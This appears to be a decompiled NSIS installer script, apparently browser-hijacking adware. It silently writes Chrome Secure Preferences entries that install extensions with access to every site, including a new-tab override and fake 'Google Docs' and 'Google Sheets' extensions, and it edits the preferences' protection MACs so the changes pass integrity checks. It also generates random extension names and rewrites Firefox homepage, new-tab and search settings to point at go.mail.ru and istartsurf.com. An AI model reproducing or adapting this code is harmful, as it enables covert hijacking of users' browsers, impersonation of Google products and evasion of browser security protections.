$PLUGINSDIR\SecurePreferences w FileWrite $1 $_67_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferences a FileSeek $1 0 END FileWrite $1 $_68_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferences a FileSeek $1 0 END FileWrite $1 $_69_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferences a FileSeek $1 0 END FileWrite $1 $_70_ FileClose $1 label_11234: IfFileExists $PLUGINSDIR\SecurePreferencesYABR 0 label_11236 Delete $PLUGINSDIR\SecurePreferencesYABR label_11236: FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR w FileWrite $1 $_73_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR a FileSeek $1 0 END FileWrite $1 $_74_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR a FileSeek $1 0 END FileWrite $1 $_75_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR a FileSeek $1 0 END FileWrite $1 $_76_ FileClose $1 StrCmp $_66_ 1 label_11289 StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ WriteINIStr $EXEDIR\le LE ID $_55_ Push $R0 Push $R1 Push $R2 Push $0 Push $1 Push $2 Push $3 Push $4 Push $5 Push $6 Push $7 Push $_54_ Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_19 Pop $_13_ Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 Pop $R2 Pop $R1 Pop $R0 Push $_13_ Pop $1 StrCpy $2 $_55_ 2 StrCpy $3 $_55_ "" -1 StrCpy $3 $3$2 3 WriteINIStr $EXEDIR\le LE VER $3$1 label_11289: FunctionEnd Function func_11290 StrCmp $_66_ 1 label_11298 StrCmp $_138_ "" 0 label_11440 Push 3 Push 1 Call func_13173 Pop $8 StrCmp $8 "" 0 label_11298 StrCpy $8 1 label_11298: StrCmp $_138_ aaebjepcfidgkojljbgoilgkgklehldj label_11300 StrCmp $8 1 0 label_11305 label_11300: StrCpy $_138_ aaebjepcfidgkojljbgoilgkgklehldj Push $_138_ Call func_13239 Pop $_140_ StrCpy $_53_ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh32EE4lZDkbUGJpC4NLwKlwtGSPVgt1OXZl4avtz5Rj3NyIi5n2BCbHeAhCxu3CzzrHAL6kq6UA3y8AfXOBhwV3IbgnMa0yYUfeebsK0PAWSpre1nufcLLRr/aUYxZZUeJcJO2LhKaBYRSoz85T8zAcP7TMYh4ip8tHzIQT0EQOnkXH1s38XzDe/KwE15k2+bclDwwWXtUu0dwuih7iVIDHTuSfNXkIqBx2aSaZu5X23ZilYCi7uXreMeVwaPWXl6HlzldMS3IPctxr9Ido8IJpbU35Qw20RFVuU7Iq1oi+Tlyb5X6AgYJcmsj3Mqb2C5ZF6ajLusJ2m5GpzIkmIgQIDAQAB label_11305: StrCmp $_138_ cnaibnehbbinoohhjafknihmlopdhhip label_11307 StrCmp $8 2 0 label_11312 label_11307: StrCpy $_138_ cnaibnehbbinoohhjafknihmlopdhhip Push $_138_ Call func_13239 Pop $_140_ StrCpy $_53_ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAhWfaXYYIO5XiM5plSD/PU6ofoNJ0k5hVYfnNim+dDKMAO76QMJuYfSfAuku0yJt7eUMe6z6t501YkZ6FvBHOY0QW8Bkqyr3EZ9XyLJopm95hyIk/7gvii1b2cgyYEDUXEKZ4BdXy5IhllL9XH9BeMSSzoJA9ME3K83YGz/T5vO795ae0JOI5ASI6lJ33luqOUp/iiolw0GlBrUhPn4ThNYwJAvKXWi/2RScUSvahlrJbDAyLv0Zf2PPuXxAeAssCcA65ydDg0YDbnz70foRXFeG+Cjj8qp+QT1XQurgtbzibJMJj1oy/xs0CfvKcT1/X7dTsLiMvsMJss5ovPuhDfwIDAQAB label_11312: StrCmp $_138_ jolakggdcbngpflcjfaencffnenhlddl label_11314 StrCmp $8 3 0 label_11319 label_11314: StrCpy $_138_ jolakggdcbngpflcjfaencffnenhlddl Push $_138_ Call func_13239 Pop $_140_ StrCpy $_53_ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnCUW2ObWMLWBnJx+vHEYWdYPeXXHFJ4BUtd39JSoKU3qF+xbtCdogU9HHNXZNXDWjq5M19uWU0kS1pLiGlXH9ShLXCQ+deE+wwAEmeD1Q/tt1f0HGU9FnS6qkhERN+KDs354JGSl7Y99gE9IEf4JkHGnOOQEEqA9jG5YXWzlI3Cj7fQZY+vuWcV+vWdBhBz+fm8VuqbjCfO1r++vtAen/2jVHK330AnXSMDnBG04jyvBJo/oSZ2QxwYCyibi1zekRqNfL8YQtNDH/PRtMk06Y/HPDaQDRfrws7/kZAFqFP7cl+aqZnso517YUJnlFyPNxTCtwFnyY71mCzFMzEGQ7QIDAQAB label_11319: StrCmp $_139_ "" label_11321 StrCmp $_139_ none 0 label_11338 label_11321: Push 299 Push 101 Call func_13173 Pop $1 Push 9 Push 0 Call func_13173 Pop $2 Push 19 Push 0 Call func_13173 Pop $3 Push 199 Push 0 Call func_13173 Pop $4 StrCpy $_139_ $1.$2.$3.$4 label_11338: StrCpy $1 "News Tab" StrCpy $2 $_138_\\$_139_\\ StrCpy $4 $_139_ StrCpy $_147_ {$\"ack_ntp_bubble$\":true,$\"active_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]},$\"creation_flags$\":9,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]}, StrCpy $_148_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"main.js$\"]},$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"}, StrCpy $_149_ $\"key$\":$\"$_53_$\", StrCpy $_150_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"background$\",$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false} StrCmp $_66_ 1 label_11385 StrCpy $_142_ {$\"ack_ntp_bubble$\":true,$\"active_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]}, StrCpy $_143_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"main.js$\"]},$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"}, StrCpy $_144_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"chrome_url_overrides$\":{$\"newtab$\":$\"index.html$\"},$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"}, StrCpy $_145_ $\"key$\":$\"$_53_$\", StrCpy $_146_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false} IfFileExists $PLUGINSDIR\SecurePreferencesNTCH 0 label_11353 Delete $PLUGINSDIR\SecurePreferencesNTCH label_11353: FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH w FileWrite $1 $_142_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH a FileSeek $1 0 END FileWrite $1 $_144_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH a FileSeek $1 0 END FileWrite $1 $_145_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH a FileSeek $1 0 END FileWrite $1 $_146_ FileClose $1 IfFileExists $PLUGINSDIR\SecurePreferencesNT 0 label_11370 Delete $PLUGINSDIR\SecurePreferencesNT label_11370: FileOpen $1 $PLUGINSDIR\SecurePreferencesNT w FileWrite $1 $_142_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNT a FileSeek $1 0 END FileWrite $1 $_143_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNT a FileSeek $1 0 END FileWrite $1 $_145_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNT a FileSeek $1 0 END FileWrite $1 $_146_ FileClose $1 label_11385: IfFileExists $PLUGINSDIR\SecurePreferencesNTYABR 0 label_11387 Delete $PLUGINSDIR\SecurePreferencesNTYABR label_11387: FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR w FileWrite $1 $_147_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR a FileSeek $1 0 END FileWrite $1 $_148_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR a FileSeek $1 0 END FileWrite $1 $_149_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR a FileSeek $1 0 END FileWrite $1 $_150_ FileClose $1 StrCmp $_66_ 1 label_11440 StrCpy $_140_ $_138_ Push $_140_ Call func_13239 Pop $_140_ WriteINIStr $EXEDIR\le LE IDNT $_140_ Push $R0 Push $R1 Push $R2 Push $0 Push $1 Push $2 Push $3 Push $4 Push $5 Push $6 Push $7 Push $_139_ Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_19 Pop $_13_ Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 Pop $R2 Pop $R1 Pop $R0 Push $_13_ Pop $1 StrCpy $2 $_140_ 2 StrCpy $3 $_140_ "" -1 StrCpy $3 $3$2 3 WriteINIStr $EXEDIR\le LE VERNT $3$1 label_11440: FunctionEnd Function func_11441 Pop $3 StrCmp $3 DJN 0 label_11469 StrCpy $_83_ hcmdpeobfoppdkhcneogcflfmfceenlf Push $_83_ Call func_13239 Pop $_85_ StrCpy $_84_ 0.9 StrCpy $_86_ {$\"active_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"],$\"scriptable_host$\":[$\"*://*/*$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"]}, StrCpy $_87_ "$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"scripts$\":[$\"bg.js$\"]},$\"description$\":$\"Create and edit documents $\",$\"icons$\":{$\"128$\":$\"128.png$\",$\"16$\":$\"128.png$\",$\"48$\":$\"128.png$\"}," StrCpy $_88_ $\"key$\":$\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyKJLEBmzLhm0W+LGA4UPoZiGTH9FD3b365iSNXdE/+OF74LHaB2VycXWGNu+zHrVdFJLUMMbrWw1ny0DI5A5qwx85g2S0G9pGLKtslwnfjEhbvJc8TynJu5pGdNMfx4n54FeCukoLrmkbMOKQ+pKtzWx6CIt+YjadXWmNnICSNCVtykaQrYXQvBRU7ZwUeNcMyYox4YN3zeysuSyFAKhvogSbJGDxxDCYbEH4BdXqVny6ScYxO8fLZK7Dmf9N2vb6jUXvcNMZT5dvt1Lwy9armnE9FKGZmroNGohc9MErGP+r4xItJtiBNP/SxbOoV0sTmmcsZSGsuG1bNJZfi5rGQIDAQAB$\", StrCpy $_89_ "$\"manifest_version$\":2,$\"name$\":$\"Google Docs$\",$\"permissions$\":[$\"*://*/*$\",$\"tabs$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$_84_$\"},$\"path$\":$\"$_83_\\$_84_\\$\",$\"state$\":1,$\"was_installed_by_default$\":false}" IfFileExists $PLUGINSDIR\SecurePreferencesWSEDJN 0 label_11454 Delete $PLUGINSDIR\SecurePreferencesWSEDJN label_11454: FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN w FileWrite $1 $_86_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN a FileSeek $1 0 END FileWrite $1 $_87_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN a FileSeek $1 0 END FileWrite $1 $_88_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN a FileSeek $1 0 END FileWrite $1 $_89_ FileClose $1 label_11469: StrCmp $3 BAP 0 label_11496 StrCpy $_90_ bapebekcapehfapcilombbgepgedmnmn Push $_90_ Call func_13239 Pop $_91_ StrCpy $_92_ 1.1 StrCpy $_93_ {$\"active_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"],$\"scriptable_host$\":[$\"*://*/*$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"]}, StrCpy $_94_ "$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"scripts$\":[$\"bg.js$\"]},$\"description$\":$\"Create and edit spreadsheets$\",$\"icons$\":{$\"128$\":$\"128.png$\",$\"16$\":$\"128.png$\",$\"48$\":$\"128.png$\"}," StrCpy $_95_ $\"key$\":$\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqTVqgmh3g6+4eYGLGI18gAFQ8e9X9IINFZTzk0mU54u7XwPRfXJiJRUwj9NRJPd3fIuQRLK211riM/9xcCOnJ/8czC3PH0zA5vhIkyY8Mi8xuQVp2dZ9f/vLbwBM+bj53OvRbxR1HVtWExN6pxuNg33N3bfyXd/gX1Tx4FBBr9MClDnXY3ROhMf8Dg766FkvWlFjsbrmfCaUckNlWAcXp93aMGQsjK5wj4t9sz945iR/bahOhJ0zYBXGbstiCUhKCTHH1grqoe+8Yur5yJsRzdzeFLIrA3TRwDTzB7gjy4ar8BKyX+qiiGFyANfuOq1f8LUD6/GmKN1nlr1WGG2fsQIDAQAB$\", StrCpy $_96_ "$\"manifest_version$\":2,$\"name$\":$\"Google Sheets$\",$\"permissions$\":[$\"*://*/*$\",$\"tabs$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$_92_$\"},$\"path$\":$\"$_90_\\$_92_\\$\",$\"state$\":1,$\"was_installed_by_default$\":false}" IfFileExists $PLUGINSDIR\SecurePreferencesWSEBAP 0 label_11481 Delete $PLUGINSDIR\SecurePreferencesWSEBAP label_11481: FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP w FileWrite $1 $_93_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP a FileSeek $1 0 END FileWrite $1 $_94_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP a FileSeek $1 0 END FileWrite $1 $_95_ FileClose $1 FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP a FileSeek $1 0 END FileWrite $1 $_96_ FileClose $1 label_11496: FunctionEnd Function func_11497 StrCpy $3 "" StrCpy $4 "" StrCpy $5 "" StrCpy $6 "" Pop $6 Pop $5 Pop $4 Pop $3 ClearErrors nsJSON::Set /file $3 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $3 ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors 0 label_11526 Delete $3 nsJSON::Set /value {} ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push {} ; Push /value ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_11526: nsJSON::Set extensions settings $4 /file $5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; Push $4 ; Push settings ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set StrCmp $6 0 label_11547 nsJSON::Set protection macs extensions settings $4 /value $\"$6$\" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $\"$6$\" ; Push /value ; Push $4 ; Push settings ; Push extensions ; Push macs ; Push protection ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_11547: nsJSON::Serialize /format /file $3 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $3 ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize FunctionEnd Function func_11555 Push 58 Push 1 Call func_13173 Pop $1 StrCmp $1 1 0 label_11562 StrCpy $2 link Goto label_11732 label_11562: StrCmp $1 2 0 label_11565 StrCpy $2 fire Goto label_11732 label_11565: StrCmp $1 3 0 label_11568 StrCpy $2 go Goto label_11732 label_11568: StrCmp $1 4 0 label_11571 StrCpy $2 win Goto label_11732 label_11571: StrCmp $1 5 0 label_11574 StrCpy $2 day Goto label_11732 label_11574: StrCmp $1 6 0 label_11577 StrCpy $2 admin Goto label_11732 label_11577: StrCmp $1 7 0 label_11580 StrCpy $2 master Goto label_11732 label_11580: StrCmp $1 8 0 label_11583 StrCpy $2 home Goto label_11732 label_11583: StrCmp $1 9 0 label_11586 StrCpy $2 ground Goto label_11732 label_11586: StrCmp $1 10 0 label_11589 StrCpy $2 world Goto label_11732 label_11589: StrCmp $1 11 0 label_11592 StrCpy $2 boy Goto label_11732 label_11592: StrCmp $1 12 0 label_11595 StrCpy $2 star Goto label_11732 label_11595: StrCmp $1 13 0 label_11598 StrCpy $2 love Goto label_11732 label_11598: StrCmp $1 14 0 label_11601 StrCpy $2 up Goto label_11732 label_11601: StrCmp $1 15 0 label_11604 StrCpy $2 you Goto label_11732 label_11604: StrCmp $1 16 0 label_11607 StrCpy $2 heart Goto label_11732 label_11607: StrCmp $1 17 0 label_11610 StrCpy $2 play Goto label_11732 label_11610: StrCmp $1 18 0 label_11613 StrCpy $2 way Goto label_11732 label_11613: StrCmp $1 19 0 label_11616 StrCpy $2 net Goto label_11732 label_11616: StrCmp $1 20 0 label_11619 StrCpy $2 strong Goto label_11732 label_11619: StrCmp $1 21 0 label_11622 StrCpy $2 box Goto label_11732 label_11622: StrCmp $1 22 0 label_11625 StrCpy $2 geek Goto label_11732 label_11625: StrCmp $1 23 0 label_11628 StrCpy $2 fast Goto label_11732 label_11628: StrCmp $1 24 0 label_11631 StrCpy $2 mego Goto label_11732 label_11631: StrCmp $1 25 0 label_11634 StrCpy $2 pro Goto label_11732 label_11634: StrCmp $1 26 0 label_11637 StrCpy $2 web Goto label_11732 label_11637: StrCmp $1 27 0 label_11640 StrCpy $2 plus Goto label_11732 label_11640: StrCmp $1 28 0 label_11643 StrCpy $2 tab Goto label_11732 label_11643: StrCmp $1 29 0 label_11646 StrCpy $2 google Goto label_11732 label_11646: StrCmp $1 30 0 label_11649 StrCpy $2 mail Goto label_11732 label_11649: StrCmp $1 31 0 label_11652 StrCpy $2 honey Goto label_11732 label_11652: StrCmp $1 32 0 label_11655 StrCpy $2 search Goto label_11732 label_11655: StrCmp $1 33 0 label_11658 StrCpy $2 shop Goto label_11732 label_11658: StrCmp $1 34 0 label_11661 StrCpy $2 market Goto label_11732 label_11661: StrCmp $1 35 0 label_11664 StrCpy $2 store Goto label_11732 label_11664: StrCmp $1 36 0 label_11667 StrCpy $2 extension Goto label_11732 label_11667: StrCmp $1 37 0 label_11670 StrCpy $2 mark Goto label_11732 label_11670: StrCmp $1 38 0 label_11673 StrCpy $2 sync Goto label_11732 label_11673: StrCmp $1 39 0 label_11676 StrCpy $2 bookmark Goto label_11732 label_11676: StrCmp $1 40 0 label_11679 StrCpy $2 currently Goto label_11732 label_11679: StrCmp $1 41 0 label_11682 StrCpy $2 one Goto label_11732 label_11682: StrCmp $1 42 0 label_11685 StrCpy $2 sun Goto label_11732 label_11685: StrCmp $1 43 0 label_11688 StrCpy $2 lucky Goto label_11732 label_11688: StrCmp $1 44 0 label_11691 StrCpy $2 read Goto label_11732 label_11691: StrCmp $1 45 0 label_11694 StrCpy $2 live Goto label_11732 label_11694: StrCmp $1 46 0 label_11697 StrCpy $2 start Goto label_11732 label_11697: StrCmp $1 47 0 label_11700 StrCpy $2 page Goto label_11732 label_11700: StrCmp $1 48 0 label_11703 StrCpy $2 smart Goto label_11732 label_11703: StrCmp $1 49 0 label_11706 StrCpy $2 quick Goto label_11732 label_11706: StrCmp $1 50 0 label_11709 StrCpy $2 chrome Goto label_11732 label_11709: StrCmp $1 51 0 label_11712 StrCpy $2 get Goto label_11732 label_11712: StrCmp $1 52 0 label_11715 StrCpy $2 inc Goto label_11732 label_11715: StrCmp $1 53 0 label_11718 StrCpy $2 safe Goto label_11732 label_11718: StrCmp $1 54 0 label_11721 StrCpy $2 good Goto label_11732 label_11721: StrCmp $1 55 0 label_11724 StrCpy $2 style Goto label_11732 label_11724: StrCmp $1 56 0 label_11727 StrCpy $2 news Goto label_11732 label_11727: StrCmp $1 57 0 label_11730 StrCpy $2 time Goto label_11732 label_11730: StrCmp $1 58 0 label_11732 StrCpy $2 click label_11732: Push $2 FunctionEnd Function func_11734 Call func_11555 Pop $R1 Call func_11555 Pop $R2 Push 8 Push 1 Call func_13173 Pop $R5 StrCmp $R5 1 label_11746 StrCmp $R5 6 label_11746 StrCmp $R5 7 label_11746 StrCmp $R5 8 0 label_11766 label_11746: StrCpy $3 $R1 1 Push $3 Push + Push "" Push "" Call :label_1606 Pop $3 StrCpy $R1 $R1 "" 1 StrCpy $R1 $3$R1 StrCpy $3 $R2 1 Push $3 Push + Push "" Push "" Call :label_1606 Pop $3 StrCpy $R2 $R2 "" 1 StrCpy $R2 $3$R2 StrCpy $R3 $R1$R2 Goto label_11813 label_11766: StrCmp $R5 2 0 label_11787 StrCpy $3 $R1 1 Push $3 Push + Push "" Push "" Call :label_1606 Pop $3 StrCpy $R1 $R1 "" 1 StrCpy $R1 $3$R1 StrCpy $3 $R2 1 Push $3 Push + Push "" Push "" Call :label_1606 Pop $3 StrCpy $R2 $R2 "" 1 StrCpy $R2 $3$R2 StrCpy $R3 "$R1 $R2" Goto label_11813 label_11787: StrCmp $R5 3 0 label_11799 StrCpy $3 $R1 1 Push $3 Push + Push "" Push "" Call :label_1606 Pop $3 StrCpy $R1 $R1 "" 1 StrCpy $R1 $3$R1 StrCpy $R3 $R1$R2 Goto label_11813 label_11799: StrCmp $R5 4 0 label_11811 StrCpy $3 $R1 1 Push $3 Push + Push "" Push "" Call :label_1606 Pop $3 StrCpy $R1 $R1 "" 1 StrCpy $R1 $3$R1 StrCpy $R3 "$R1 $R2" Goto label_11813 label_11811: StrCmp $R5 5 0 label_11813 StrCpy $R3 $R1$R2 label_11813: Push $R3 Return StrCmp $_50_ "" label_11962 Push $R9 Push utm_term=$_50_ Push $\",$\"type$\":$\" Push + Call :label_11822 Goto label_11961 label_11822: Exch $2 ; Push $2 ; Exch ; Pop $2 Exch Exch $1 ; Push $1 ; Exch ; Pop $1 Exch Exch 2 Exch $0 ; Push $0 ; Exch ; Pop $0 Exch 2 Exch 3 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 Exch 3 Push $3 Push $4 Push $5 Push $6 Push $7 Push $8 Push $9 Push $R1 ClearErrors StrCpy $R1 $R0 StrCpy $9 "" label_11851: StrCpy $3 $2 1 StrCpy $2 $2 "" 1 StrCmp $3 E 0 label_11856 StrCpy $9 E Goto label_11851 label_11856: StrCpy $4 $2 1 -1 StrCpy $5 "" StrCpy $6 "" StrLen $7 $0 StrCmp $7 0 label_11941 StrCmp $R0 "" label_11941 StrCmp $3 { label_11864 StrCmp $3 } label_11871 label_11883 label_11864: StrCpy $8 $R0 $7 StrCmp $8 $0 0 label_11869 StrCpy $R0 $R0 "" $7 StrCpy $5 $5$1 Goto label_11864 label_11869: StrCpy $3 $2 1 StrCmp $3 } 0 label_11876 label_11871: StrCpy $8 $R0 "" -$7 StrCmp $8 $0 0 label_11876 StrCpy $R0 $R0 -$7 StrCpy $6 $6$1 Goto label_11871 label_11876: StrCmp $4 * 0 label_11881 StrCmp $5 "" label_11879 StrCpy $5 $1 label_11879: StrCmp $6 "" label_11881 StrCpy $6 $1 label_11881: StrCpy $R0 $5$R0$6 Goto label_11946 label_11883: StrCmp $3 + label_11885 StrCmp $3 - 0 label_11937 label_11885: StrCpy $5 $2 1 IntOp $2 $2 + 0 StrCmp $2 0 0 label_11907 StrCmp $5 0 label_11939 StrCpy $3 "" label_11890: StrCpy $5 0 label_11891: StrCpy $2 $R0 $7 $5 StrCmp $2 "" label_11896 StrCmp $2 $0 label_11899 IntOp $5 $5 + 1 Goto label_11891 label_11896: StrCmp $R0 $R1 label_11941 StrCpy $R0 $3$R0 Goto label_11946 label_11899: StrCpy $2 $R0 $5 label_11900: IntOp $5 $5 + $7 StrCmp $4 * 0 label_11904 StrCpy $6 $R0 $7 $5 StrCmp $6 $0 label_11900 label_11904: StrCpy $R0 $R0 "" $5 StrCpy $3 $3$2$1 Goto label_11890 label_11907: StrCpy $5 0 StrCpy $8 0 Goto label_11911 label_11910: IntOp $5 $5 + 1 label_11911: StrCpy $6 $R0 $7 $5 StrCmp $6$8 0 label_11941 StrCmp $6 "" label_11919 StrCmp $6 $0 0 label_11910 IntOp $8 $8 + 1 StrCmp $3$8 +$2 label_11924 IntOp $5 $5 + $7 Goto label_11911 label_11919: StrCmp $3 - 0 label_11939 StrCpy $3 + IntOp $2 $8 - $2 IntOp $2 $2 + 1 IntCmp $2 0 label_11939 label_11939 label_11907 label_11924: StrCpy $3 $R0 $5 StrCmp $4 * 0 label_11930 label_11926: StrCpy $6 $3 "" -$7 StrCmp $6 $0 0 label_11930 StrCpy $3 $3 -$7 Goto label_11926 label_11930: IntOp $5 $5 + $7 StrCmp $4 * 0 label_11934 StrCpy $6 $R0 $7 $5 StrCmp $6 $0 label_11930 label_11934: StrCpy $R0 $R0 "" $5 StrCpy $R0 $3$1$R0 Goto label_11946 label_11937: StrCpy $R0 3 Goto label_11942 label_11939: StrCpy $R0 2 Goto label_11942 label_11941: StrCpy $R0 1 label_11942: StrCmp $9 E label_11945 StrCpy $R0 $R1 Goto label_11946 label_11945: SetErrors label_11946: Pop $R1 Pop $9 Pop $8 Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 Return label_11961: Pop $R9 label_11962: StrCmp $_49_ FSPU label_11969 Push $R9 Push "$\"url$\": $\"$_49_" Push $\"type$\":$\"$\",$\"url$\":$\" Push + Call :label_11822 Pop $R9 label_11969: Push $R9 Push "$\"url$\": $\"http://go.mail.ru" Push $\"type$\":$\"$\",$\"url$\":$\" Push + Call :label_11822 Pop $R9 Push $R9 Push "$\"url$\": $\"http://mail.ru" Push $\"type$\":$\"$\",$\"url$\":$\" Push + Call :label_11822 Pop $R9 Push $R9 Push "$\"url$\": $\"https://mail.ru" Push $\"type$\":$\"$\",$\"url$\":$\" Push + Call :label_11822 Pop $R9 Push $R9 Push "$\"url$\": $\"http://2inf.net" Push $\"type$\":$\"$\",$\"url$\":$\" Push + Call :label_11822 Pop $R9 Push $0 Return Push $R9 Push "user_pref($\"browser.newtab.url$\", $\"chrome://quick_start" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"keyword.URL$\", $\"http://go.mail.ru" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push user_pref($\"browser.startup.homepage$\" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"browser.newtab.url$\", $\"http://www.istartsurf.com" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"browser.search.searchengine.url$\", 